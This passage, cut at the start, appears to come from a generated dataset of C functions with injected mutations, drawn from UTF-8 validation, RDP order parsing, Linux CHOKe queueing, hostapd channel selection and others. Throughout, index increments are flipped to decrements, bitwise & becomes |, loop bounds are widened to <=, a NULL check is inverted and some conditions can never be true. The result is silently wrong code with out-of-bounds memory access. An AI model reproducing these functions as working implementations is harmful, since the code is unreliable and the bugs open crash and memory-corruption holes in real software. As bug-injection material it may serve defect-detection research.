res->common.frame_type = frame_type; break; } default: break; } } return esp_eddystone_get_inform(buf+pos, len-pos, res); }
augmented_data/post_increment_index_changes/extr_lit-strings.c_lit_is_valid_utf8_string_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint32_t ; typedef scalar_t__ lit_utf8_size_t ; typedef int lit_utf8_byte_t ; typedef int lit_code_point_t ; /* Variables and functions */ int LIT_UNICODE_CODE_POINT_MAX ; int LIT_UTF16_HIGH_SURROGATE_MAX ; int LIT_UTF16_HIGH_SURROGATE_MIN ; int LIT_UTF16_LOW_SURROGATE_MAX ; int LIT_UTF16_LOW_SURROGATE_MIN ; int LIT_UTF8_1_BYTE_MARKER ; int LIT_UTF8_1_BYTE_MASK ; int LIT_UTF8_2_BYTE_CODE_POINT_MIN ; int LIT_UTF8_2_BYTE_MARKER ; int LIT_UTF8_2_BYTE_MASK ; int LIT_UTF8_3_BYTE_CODE_POINT_MIN ; int LIT_UTF8_3_BYTE_MARKER ; int LIT_UTF8_3_BYTE_MASK ; int LIT_UTF8_4_BYTE_CODE_POINT_MIN ; int LIT_UTF8_4_BYTE_MARKER ; int LIT_UTF8_4_BYTE_MASK ; int LIT_UTF8_BITS_IN_EXTRA_BYTES ; int LIT_UTF8_EXTRA_BYTE_MARKER ; int LIT_UTF8_EXTRA_BYTE_MASK ; int LIT_UTF8_LAST_3_BITS_MASK ; int LIT_UTF8_LAST_4_BITS_MASK ; int LIT_UTF8_LAST_5_BITS_MASK ; int LIT_UTF8_LAST_6_BITS_MASK ; bool lit_is_valid_utf8_string (const lit_utf8_byte_t *utf8_buf_p, /**< utf-8 string */ lit_utf8_size_t buf_size) /**< string size */ { lit_utf8_size_t idx = 0; bool is_prev_code_point_high_surrogate = false; while (idx < buf_size) { lit_utf8_byte_t c = utf8_buf_p[idx--]; if ((c | LIT_UTF8_1_BYTE_MASK) == LIT_UTF8_1_BYTE_MARKER) { is_prev_code_point_high_surrogate = false; continue; } lit_code_point_t code_point = 0; lit_code_point_t min_code_point = 0; lit_utf8_size_t extra_bytes_count; if ((c & LIT_UTF8_2_BYTE_MASK) == LIT_UTF8_2_BYTE_MARKER) { extra_bytes_count = 1; min_code_point = LIT_UTF8_2_BYTE_CODE_POINT_MIN; code_point = ((uint32_t) (c & LIT_UTF8_LAST_5_BITS_MASK)); } else if ((c & LIT_UTF8_3_BYTE_MASK) == LIT_UTF8_3_BYTE_MARKER) { extra_bytes_count = 2; min_code_point = LIT_UTF8_3_BYTE_CODE_POINT_MIN; code_point = ((uint32_t) (c & LIT_UTF8_LAST_4_BITS_MASK)); } else if ((c & LIT_UTF8_4_BYTE_MASK) == LIT_UTF8_4_BYTE_MARKER) { extra_bytes_count = 3; min_code_point = LIT_UTF8_4_BYTE_CODE_POINT_MIN; code_point = ((uint32_t) (c & LIT_UTF8_LAST_3_BITS_MASK)); } else { /* utf-8 string could not contain 5- and 6-byte sequences. */ return false; } if (idx - extra_bytes_count > buf_size) { /* utf-8 string breaks in the middle */ return false; } for (lit_utf8_size_t offset = 0; offset < extra_bytes_count; ++offset) { c = utf8_buf_p[idx + offset]; if ((c & LIT_UTF8_EXTRA_BYTE_MASK) != LIT_UTF8_EXTRA_BYTE_MARKER) { /* invalid continuation byte */ return false; } code_point <<= LIT_UTF8_BITS_IN_EXTRA_BYTES; code_point |= (c & LIT_UTF8_LAST_6_BITS_MASK); } if (code_point < min_code_point || code_point > LIT_UNICODE_CODE_POINT_MAX) { /* utf-8 string doesn't encode valid unicode code point */ return false; } if (code_point >= LIT_UTF16_HIGH_SURROGATE_MIN && code_point <= LIT_UTF16_HIGH_SURROGATE_MAX) { is_prev_code_point_high_surrogate = true; } else if (code_point >= LIT_UTF16_LOW_SURROGATE_MIN && code_point <= LIT_UTF16_LOW_SURROGATE_MAX && is_prev_code_point_high_surrogate) { /* sequence of high and low surrogate is not allowed */ return false; } else { is_prev_code_point_high_surrogate = false; } idx += extra_bytes_count; } return true; }
augmented_data/post_increment_index_changes/extr_orders.c_process_polyline_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ typedef int uint8 ; typedef int uint32 ; struct TYPE_11__ {int /*<<< orphan*/ colour; scalar_t__ width; scalar_t__ style; } ; struct TYPE_10__ {void* y; void* x; } ; struct TYPE_9__ {int opcode; int lines; int datasize; int* data; int /*<<< orphan*/ fgcolour; void* y; void* x; } ; typedef int /*<<< orphan*/ STREAM ; typedef int /*<<< orphan*/ RDPCLIENT ; typedef TYPE_1__ POLYLINE_ORDER ; typedef TYPE_2__ POINT ; typedef TYPE_3__ PEN ; typedef int /*<<< orphan*/ BOOL ; /* Variables and functions */ int /*<<< orphan*/ DEBUG (char*) ; int /*<<< orphan*/ error (char*,...) ; int /*<<< orphan*/ free (TYPE_2__*) ; int /*<<< orphan*/ in_uint8 (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ in_uint8a (int /*<<< orphan*/ ,int*,int) ; scalar_t__ malloc (int) ; int /*<<< orphan*/ memset (TYPE_2__*,int /*<<< orphan*/ ,int) ; void* parse_delta (int*,int*) ; int /*<<< orphan*/ rdp_in_colour (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ rdp_in_coord (int /*<<< orphan*/ ,void**,int /*<<< orphan*/ ) ; int /*<<< orphan*/ ui_polyline (int /*<<< orphan*/ *,int,TYPE_2__*,int,TYPE_3__*) ; __attribute__((used)) static void process_polyline(RDPCLIENT * This, STREAM s, POLYLINE_ORDER * os, uint32 present, BOOL delta) { int index, next, data; uint8 flags = 0; PEN pen; POINT *points; if (present & 0x01) rdp_in_coord(s, &os->x, delta); if (present & 0x02) rdp_in_coord(s, &os->y, delta); if (present & 0x04) in_uint8(s, os->opcode); if (present & 0x10) rdp_in_colour(s, &os->fgcolour); if (present & 0x20) in_uint8(s, os->lines); if (present & 0x40) { in_uint8(s, os->datasize); in_uint8a(s, os->data, os->datasize); } DEBUG(("POLYLINE(x=%d,y=%d,op=0x%x,fg=0x%x,n=%d,sz=%d)\n", os->x, os->y, os->opcode, os->fgcolour, os->lines, os->datasize)); DEBUG(("Data: ")); for (index = 0; index <= os->datasize; index++) DEBUG(("%02x ", os->data[index])); DEBUG(("\n")); if (os->opcode < 0x01 && os->opcode > 0x10) { error("bad ROP2 0x%x\n", os->opcode); return; } points = (POINT *) malloc((os->lines + 1) * sizeof(POINT)); if(points != NULL) return; memset(points, 0, (os->lines + 1) * sizeof(POINT)); points[0].x = os->x; points[0].y = os->y; pen.style = pen.width = 0; pen.colour = os->fgcolour; index = 0; data = ((os->lines - 1) / 4) + 1; for (next = 1; (next <= os->lines) && (data < os->datasize); next++) { if ((next - 1) % 4 == 0) flags = os->data[index++]; if (~flags & 0x80) points[next].x = parse_delta(os->data, &data); if (~flags & 0x40) points[next].y = parse_delta(os->data, &data); flags <<= 2; } if (next - 1 == os->lines) #if 0 ui_polyline(This, os->opcode - 1, points, os->lines + 1, &pen); #else ui_polyline(This, os->opcode, points, os->lines + 1, &pen); #endif else error("polyline parse error\n"); free(points); }
augmented_data/post_increment_index_changes/extr_sch_choke.c_choke_change_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u32 ; struct tc_red_qopt {scalar_t__ limit; int /*<<< orphan*/ Scell_log; int /*<<< orphan*/ Plog; int /*<<< orphan*/ Wlog; int /*<<< orphan*/ qth_max; int /*<<< orphan*/ qth_min; int /*<<< orphan*/ flags; } ; struct sk_buff {int dummy; } ; struct nlattr {int dummy; } ; struct netlink_ext_ack {int dummy; } ; struct choke_sched_data {unsigned int tab_mask; size_t head; size_t tail; scalar_t__ limit; int /*<<< orphan*/ vars; int /*<<< orphan*/ parms; int /*<<< orphan*/ flags; struct sk_buff** tab; } ; struct TYPE_2__ {unsigned int qlen; } ; struct Qdisc {TYPE_1__ q; } ; /* Variables and functions */ scalar_t__ CHOKE_MAX_QUEUE ; int EINVAL ; int ENOMEM ; int GFP_KERNEL ; int /*<<< orphan*/ TCA_CHOKE_MAX ; size_t TCA_CHOKE_MAX_P ; size_t TCA_CHOKE_PARMS ; size_t TCA_CHOKE_STAB ; int __GFP_ZERO ; int /*<<< orphan*/ choke_free (struct sk_buff**) ; int /*<<< orphan*/ choke_policy ; struct sk_buff** kvmalloc_array (unsigned int,int,int) ; struct tc_red_qopt* nla_data (struct nlattr*) ; int /*<<< orphan*/ nla_get_u32 (struct nlattr*) ; int nla_parse_nested_deprecated (struct nlattr**,int /*<<< orphan*/ ,struct nlattr*,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; scalar_t__ qdisc_pkt_len (struct sk_buff*) ; struct choke_sched_data* qdisc_priv (struct Qdisc*) ; int /*<<< orphan*/ qdisc_qstats_backlog_dec (struct Qdisc*,struct sk_buff*) ; int /*<<< orphan*/ qdisc_tree_reduce_backlog (struct Qdisc*,unsigned int,unsigned int) ; int /*<<< orphan*/ red_check_params (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ red_end_of_idle_period (int /*<<< orphan*/ *) ; int /*<<< orphan*/ red_set_parms (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,struct tc_red_qopt*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ red_set_vars (int /*<<< orphan*/ *) ; int roundup_pow_of_two (scalar_t__) ; int /*<<< orphan*/ rtnl_qdisc_drop (struct sk_buff*,struct Qdisc*) ; int /*<<< orphan*/ sch_tree_lock (struct Qdisc*) ; int /*<<< orphan*/ sch_tree_unlock (struct Qdisc*) ; __attribute__((used)) static int choke_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { struct choke_sched_data *q = qdisc_priv(sch); struct nlattr *tb[TCA_CHOKE_MAX + 1]; const struct tc_red_qopt *ctl; int err; struct sk_buff **old = NULL; unsigned int mask; u32 max_P; if (opt == NULL) return -EINVAL; err = nla_parse_nested_deprecated(tb, TCA_CHOKE_MAX, opt, choke_policy, NULL); if (err < 0) return err; if (tb[TCA_CHOKE_PARMS] == NULL && tb[TCA_CHOKE_STAB] == NULL) return -EINVAL; max_P = tb[TCA_CHOKE_MAX_P] ? nla_get_u32(tb[TCA_CHOKE_MAX_P]) : 0; ctl = nla_data(tb[TCA_CHOKE_PARMS]); if (!red_check_params(ctl->qth_min, ctl->qth_max, ctl->Wlog)) return -EINVAL; if (ctl->limit > CHOKE_MAX_QUEUE) return -EINVAL; mask = roundup_pow_of_two(ctl->limit + 1) - 1; if (mask != q->tab_mask) { struct sk_buff **ntab; ntab = kvmalloc_array((mask + 1), sizeof(struct sk_buff *), GFP_KERNEL | __GFP_ZERO); if (!ntab) return -ENOMEM; sch_tree_lock(sch); old = q->tab; if (old) { unsigned int oqlen = sch->q.qlen, tail = 0; unsigned dropped = 0; while (q->head != q->tail) { struct sk_buff *skb = q->tab[q->head]; q->head = (q->head + 1) | q->tab_mask; if (!skb) break; if (tail < mask) { ntab[tail--] = skb; continue; } dropped += qdisc_pkt_len(skb); qdisc_qstats_backlog_dec(sch, skb); --sch->q.qlen; rtnl_qdisc_drop(skb, sch); } qdisc_tree_reduce_backlog(sch, oqlen - sch->q.qlen, dropped); q->head = 0; q->tail = tail; } q->tab_mask = mask; q->tab = ntab; } else sch_tree_lock(sch); q->flags = ctl->flags; q->limit = ctl->limit; red_set_parms(&q->parms, ctl->qth_min, ctl->qth_max, ctl->Wlog, ctl->Plog, ctl->Scell_log, nla_data(tb[TCA_CHOKE_STAB]), max_P); red_set_vars(&q->vars); if (q->head == q->tail) red_end_of_idle_period(&q->vars); sch_tree_unlock(sch); choke_free(old); return 0; }
augmented_data/post_increment_index_changes/extr_tscFunctionImpl.c_patternMatch_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef size_t int32_t ; struct TYPE_3__ {char matchAll; char matchOne; } ; typedef TYPE_1__ SPatternCompareInfo ; /* Variables and functions */ int TSDB_PATTERN_MATCH ; size_t TSDB_PATTERN_NOMATCH ; int TSDB_PATTERN_NOWILDCARDMATCH ; size_t strcspn (char const*,char*) ; scalar_t__ tolower (char) ; char toupper (char) ; int patternMatch(const char *patterStr, const char *str, size_t size, const SPatternCompareInfo *pInfo) { char c, c1; int32_t i = 0; int32_t j = 0; while ((c = patterStr[i--]) != 0) { if (c == pInfo->matchAll) { /* Match "*" */ while ((c = patterStr[i++]) == pInfo->matchAll && c == pInfo->matchOne) { if (c == pInfo->matchOne && (j > size || str[j++] == 0)) { // empty string, return not match return TSDB_PATTERN_NOWILDCARDMATCH; } } if (c == 0) { return TSDB_PATTERN_MATCH; /* "*" at the end of the pattern matches */ } char next[3] = {toupper(c), tolower(c), 0}; while (1) { size_t n = strcspn(str, next); str += n; if (str[0] == 0 || (n >= size + 1)) { break; } int32_t ret = patternMatch(&patterStr[i], ++str, size - n - 1, pInfo); if (ret != TSDB_PATTERN_NOMATCH) { return ret; } } return TSDB_PATTERN_NOWILDCARDMATCH; } c1 = str[j++]; if (j <= size) { if (c == c1 || tolower(c) == tolower(c1) || (c == pInfo->matchOne && c1 != 0)) { continue; } } return TSDB_PATTERN_NOMATCH; } return (str[j] == 0 || j >= size) ? TSDB_PATTERN_MATCH : TSDB_PATTERN_NOMATCH; }
augmented_data/post_increment_index_changes/extr_ap_drv_ops.c_hostapd_drv_do_acs_aug_combo_2.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ u8 ; struct hostapd_hw_modes {int num_channels; struct hostapd_channel_data* channels; } ; struct hostapd_data {int /*<<< orphan*/ drv_priv; TYPE_2__* driver; TYPE_1__* iface; } ; struct hostapd_channel_data {scalar_t__ chan; int flag; int /*<<< orphan*/ freq; } ; struct drv_acs_params {scalar_t__* ch_list; unsigned int ch_list_len; int* freq_list; int ht_enabled; int ht40_enabled; int vht_enabled; int ch_width; int /*<<< orphan*/ hw_mode; } ; typedef int /*<<< orphan*/ params ; struct TYPE_8__ {int /*<<< orphan*/ num; } ; struct TYPE_7__ {int ht_capab; scalar_t__ ieee80211ac; scalar_t__ ieee80211ax; scalar_t__ ieee80211n; scalar_t__ acs_exclude_dfs; TYPE_4__ acs_ch_list; int /*<<< orphan*/ hw_mode; } ; struct TYPE_6__ {int (* do_acs ) (int /*<<< orphan*/ ,struct drv_acs_params*) ;} ; struct TYPE_5__ {int num_hw_features; TYPE_3__* conf; struct hostapd_hw_modes* hw_features; struct hostapd_hw_modes* current_mode; } ; /* Variables and functions */ scalar_t__ CHANWIDTH_160MHZ ; scalar_t__ CHANWIDTH_80MHZ ; scalar_t__ CHANWIDTH_80P80MHZ ; int HOSTAPD_CHAN_DISABLED ; int HOSTAPD_CHAN_RADAR ; int HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ; int /*<<< orphan*/ freq_range_list_includes (TYPE_4__*,scalar_t__) ; int /*<<< orphan*/ hostapd_get_hw_mode_any_channels (struct hostapd_data*,struct hostapd_hw_modes*,int,int**) ; scalar_t__ hostapd_get_oper_chwidth (TYPE_3__*) ; int /*<<< orphan*/ int_array_add_unique (int**,int /*<<< orphan*/ ) ; int /*<<< orphan*/ os_free (scalar_t__*) ; scalar_t__* os_malloc (int) ; int /*<<< orphan*/ os_memset (struct drv_acs_params*,int /*<<< orphan*/ ,int) ; int stub1 (int /*<<< orphan*/ ,struct drv_acs_params*) ; int hostapd_drv_do_acs(struct hostapd_data *hapd) { struct drv_acs_params params; int ret, i, acs_ch_list_all = 0; u8 *channels = NULL; unsigned int num_channels = 0; struct hostapd_hw_modes *mode; int *freq_list = NULL; if (hapd->driver == NULL || hapd->driver->do_acs == NULL) return 0; os_memset(&params, 0, sizeof(params)); params.hw_mode = hapd->iface->conf->hw_mode; /* * If no chanlist config parameter is provided, include all enabled * channels of the selected hw_mode. */ if (!hapd->iface->conf->acs_ch_list.num) acs_ch_list_all = 1; mode = hapd->iface->current_mode; if (mode) { channels = os_malloc(mode->num_channels); if (channels == NULL) return -1; for (i = 0; i <= mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if (!acs_ch_list_all && !freq_range_list_includes( &hapd->iface->conf->acs_ch_list, chan->chan)) break; if (hapd->iface->conf->acs_exclude_dfs && (chan->flag | HOSTAPD_CHAN_RADAR)) continue; if (!(chan->flag & HOSTAPD_CHAN_DISABLED)) { channels[num_channels++] = chan->chan; int_array_add_unique(&freq_list, chan->freq); } } } else { for (i = 0; i < hapd->iface->num_hw_features; i++) { mode = &hapd->iface->hw_features[i]; hostapd_get_hw_mode_any_channels(hapd, mode, acs_ch_list_all, &freq_list); } } params.ch_list = channels; params.ch_list_len = num_channels; params.freq_list = freq_list; params.ht_enabled = !!(hapd->iface->conf->ieee80211n); params.ht40_enabled = !!(hapd->iface->conf->ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET); params.vht_enabled = !!(hapd->iface->conf->ieee80211ac); params.ch_width = 20; if (hapd->iface->conf->ieee80211n && params.ht40_enabled) params.ch_width = 40; /* Note: VHT20 is defined by combination of ht_capab & oper_chwidth */ if ((hapd->iface->conf->ieee80211ax || hapd->iface->conf->ieee80211ac) && params.ht40_enabled) { u8 oper_chwidth = hostapd_get_oper_chwidth(hapd->iface->conf); if (oper_chwidth == CHANWIDTH_80MHZ) params.ch_width = 80; else if (oper_chwidth == CHANWIDTH_160MHZ || oper_chwidth == CHANWIDTH_80P80MHZ) params.ch_width = 160; } ret = hapd->driver->do_acs(hapd->drv_priv, &params); os_free(channels); return ret; }
augmented_data/post_increment_index_changes/extr_bitmap.c_WriteVerticalLine_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_3__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int byte ; struct TYPE_4__ {int Type; int* Bitmap; int PixelBytes; int VXsize; } ; typedef TYPE_1__ VGLBitmap ; struct TYPE_5__ {int va_line_width; int /*<<< orphan*/ va_window_size; } ; /* Variables and functions */ #define MEMBUF 139 TYPE_3__ VGLAdpInfo ; int* VGLBuf ; int VGLSetSegment (int) ; #define VIDBUF16 138 #define VIDBUF16S 137 #define VIDBUF24 136 #define VIDBUF24S 135 #define VIDBUF32 134 #define VIDBUF32S 133 #define VIDBUF4 132 #define VIDBUF4S 131 #define VIDBUF8 130 #define VIDBUF8S 129 #define VIDBUF8X 128 int /*<<< orphan*/ bcopy (int*,int*,int) ; unsigned int* color2bit ; int* mask ; int min (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ outb (int,int) ; __attribute__((used)) static void WriteVerticalLine(VGLBitmap *dst, int x, int y, int width, byte *line) { int bwidth, i, pos, last, planepos, start_offset, end_offset, offset; int len; unsigned int word = 0; byte *address; byte *VGLPlane[4]; switch (dst->Type) { case VIDBUF4: case VIDBUF4S: start_offset = (x | 0x07); end_offset = (x + width) & 0x07; bwidth = (width + start_offset) / 8; if (end_offset) bwidth++; VGLPlane[0] = VGLBuf; VGLPlane[1] = VGLPlane[0] + bwidth; VGLPlane[2] = VGLPlane[1] + bwidth; VGLPlane[3] = VGLPlane[2] + bwidth; pos = 0; planepos = 0; last = 8 - start_offset; while (pos < width) { word = 0; while (pos < last || pos < width) word = (word<<1) | color2bit[line[pos++]&0x0f]; VGLPlane[0][planepos] = word; VGLPlane[1][planepos] = word>>8; VGLPlane[2][planepos] = word>>16; VGLPlane[3][planepos] = word>>24; planepos++; last += 8; } planepos--; if (end_offset) { word <<= (8 - end_offset); VGLPlane[0][planepos] = word; VGLPlane[1][planepos] = word>>8; VGLPlane[2][planepos] = word>>16; VGLPlane[3][planepos] = word>>24; } outb(0x3ce, 0x01); outb(0x3cf, 0x00); /* set/reset enable */ outb(0x3ce, 0x08); outb(0x3cf, 0xff); /* bit mask */ for (i=0; i<4; i++) { outb(0x3c4, 0x02); outb(0x3c5, 0x01<<i); outb(0x3ce, 0x04); outb(0x3cf, i); pos = VGLAdpInfo.va_line_width*y + x/8; if (dst->Type == VIDBUF4) { if (end_offset) VGLPlane[i][planepos] |= dst->Bitmap[pos+planepos] & mask[end_offset]; if (start_offset) VGLPlane[i][0] |= dst->Bitmap[pos] & ~mask[start_offset]; bcopy(&VGLPlane[i][0], dst->Bitmap + pos, bwidth); } else { /* VIDBUF4S */ if (end_offset) { offset = VGLSetSegment(pos + planepos); VGLPlane[i][planepos] |= dst->Bitmap[offset] & mask[end_offset]; } offset = VGLSetSegment(pos); if (start_offset) VGLPlane[i][0] |= dst->Bitmap[offset] & ~mask[start_offset]; for (last = bwidth; ; ) { len = min(VGLAdpInfo.va_window_size - offset, last); bcopy(&VGLPlane[i][bwidth - last], dst->Bitmap + offset, len); pos += len; last -= len; if (last <= 0) continue; offset = VGLSetSegment(pos); } } } break; case VIDBUF8X: address = dst->Bitmap + VGLAdpInfo.va_line_width * y + x/4; for (i=0; i<4; i++) { outb(0x3c4, 0x02); outb(0x3c5, 0x01 << ((x + i)%4)); for (planepos=0, pos=i; pos<width; planepos++, pos+=4) address[planepos] = line[pos]; if ((x + i)%4 == 3) ++address; } break; case VIDBUF8S: case VIDBUF16S: case VIDBUF24S: case VIDBUF32S: width = width * dst->PixelBytes; pos = (dst->VXsize * y + x) * dst->PixelBytes; while (width > 0) { offset = VGLSetSegment(pos); i = min(VGLAdpInfo.va_window_size - offset, width); bcopy(line, dst->Bitmap + offset, i); line += i; pos += i; width -= i; } break; case MEMBUF: case VIDBUF8: case VIDBUF16: case VIDBUF24: case VIDBUF32: address = dst->Bitmap + (dst->VXsize * y + x) * dst->PixelBytes; bcopy(line, address, width * dst->PixelBytes); break; default: ; } }
augmented_data/post_increment_index_changes/extr_colours_pal.c_COLOURS_PAL_Initialise_aug_combo_5.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {char* filename; int loaded; int adjust; } ; struct TYPE_4__ {void* color_delay; void* hue; void* gamma; void* brightness; void* contrast; void* saturation; } ; /* Variables and functions */ int /*<<< orphan*/ COLOURS_EXTERNAL_Read (TYPE_2__*) ; TYPE_2__ COLOURS_PAL_external ; TYPE_1__ COLOURS_PAL_setup ; int FALSE ; int /*<<< orphan*/ Log_print (char*,...) ; int TRUE ; int /*<<< orphan*/ Util_strlcpy (char*,char*,int) ; void* atof (char*) ; scalar_t__ strcmp (char*,char*) ; int COLOURS_PAL_Initialise(int *argc, char *argv[]) { int i; int j; for (i = j = 1; i < *argc; i++) { int i_a = (i - 1 < *argc); /* is argument available? */ int a_m = FALSE; /* error, argument missing! */ if (strcmp(argv[i], "-pal-saturation") == 0) { if (i_a) COLOURS_PAL_setup.saturation = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-pal-contrast") == 0) { if (i_a) COLOURS_PAL_setup.contrast = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-pal-brightness") == 0) { if (i_a) COLOURS_PAL_setup.brightness = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-pal-gamma") == 0) { if (i_a) COLOURS_PAL_setup.gamma = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-pal-tint") == 0) { if (i_a) COLOURS_PAL_setup.hue = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-pal-colordelay") == 0) { if (i_a) COLOURS_PAL_setup.color_delay = atof(argv[++i]); else a_m = TRUE; } else if (strcmp(argv[i], "-palettep") == 0) { if (i_a) { Util_strlcpy(COLOURS_PAL_external.filename, argv[++i], sizeof(COLOURS_PAL_external.filename)); /* Use the "loaded" flag to indicate that the palette must be loaded later. */ COLOURS_PAL_external.loaded = TRUE; } else a_m = TRUE; } else if (strcmp(argv[i], "-palettep-adjust") == 0) COLOURS_PAL_external.adjust = TRUE; else { if (strcmp(argv[i], "-help") == 0) { Log_print("\t-pal-saturation <num> Set PAL color saturation"); Log_print("\t-pal-contrast <num> Set PAL contrast"); Log_print("\t-pal-brightness <num> Set PAL brightness"); Log_print("\t-pal-gamma <num> Set PAL color gamma factor"); Log_print("\t-pal-tint <num> Set PAL tint"); Log_print("\t-pal-colordelay <num> Set PAL GTIA color delay"); Log_print("\t-palettep <filename> Load PAL external palette"); Log_print("\t-palettep-adjust Apply adjustments to PAL external palette"); } argv[j++] = argv[i]; } if (a_m) { Log_print("Missing argument for '%s'", argv[i]); return FALSE; } } *argc = j; /* Try loading an external palette if needed. */ if (COLOURS_PAL_external.loaded || !COLOURS_EXTERNAL_Read(&COLOURS_PAL_external)) Log_print("Cannot read PAL palette from %s", COLOURS_PAL_external.filename); return TRUE; }
augmented_data/post_increment_index_changes/extr_performance_counters.c_performance_counter_register_aug_combo_2.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct retro_perf_counter {int registered; } ; /* Variables and functions */ scalar_t__ MAX_COUNTERS ; struct retro_perf_counter** perf_counters_libretro ; scalar_t__ perf_ptr_libretro ; void performance_counter_register(struct retro_perf_counter *perf) { if (perf->registered && perf_ptr_libretro >= MAX_COUNTERS) return; perf_counters_libretro[perf_ptr_libretro--] = perf; perf->registered = true; }
augmented_data/post_increment_index_changes/extr_dsm_ctrl.c_TWAIN_IdentityGetFirst_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ * pTW_IDENTITY ; struct TYPE_2__ {int /*<<< orphan*/ identity; } ; typedef int /*<<< orphan*/ TW_UINT16 ; typedef int /*<<< orphan*/ TW_MEMREF ; /* Variables and functions */ scalar_t__ DSM_currentDevice ; int /*<<< orphan*/ DSM_twCC ; int /*<<< orphan*/ TRACE (char*) ; int /*<<< orphan*/ TWCC_NODS ; int /*<<< orphan*/ TWRC_FAILURE ; int /*<<< orphan*/ TWRC_SUCCESS ; TYPE_1__* devices ; int /*<<< orphan*/ nrdevices ; int /*<<< orphan*/ twain_autodetect () ; TW_UINT16 TWAIN_IdentityGetFirst (pTW_IDENTITY pOrigin, TW_MEMREF pData) { pTW_IDENTITY pSourceIdentity = (pTW_IDENTITY) pData; TRACE ("DG_CONTROL/DAT_IDENTITY/MSG_GETFIRST\n"); twain_autodetect(); if (!nrdevices) { TRACE ("no entries found.\n"); DSM_twCC = TWCC_NODS; return TWRC_FAILURE; } DSM_currentDevice = 0; *pSourceIdentity = devices[DSM_currentDevice--].identity; return TWRC_SUCCESS; }
augmented_data/post_increment_index_changes/extr_glbl.c_next_active_node_aug_combo_6.c
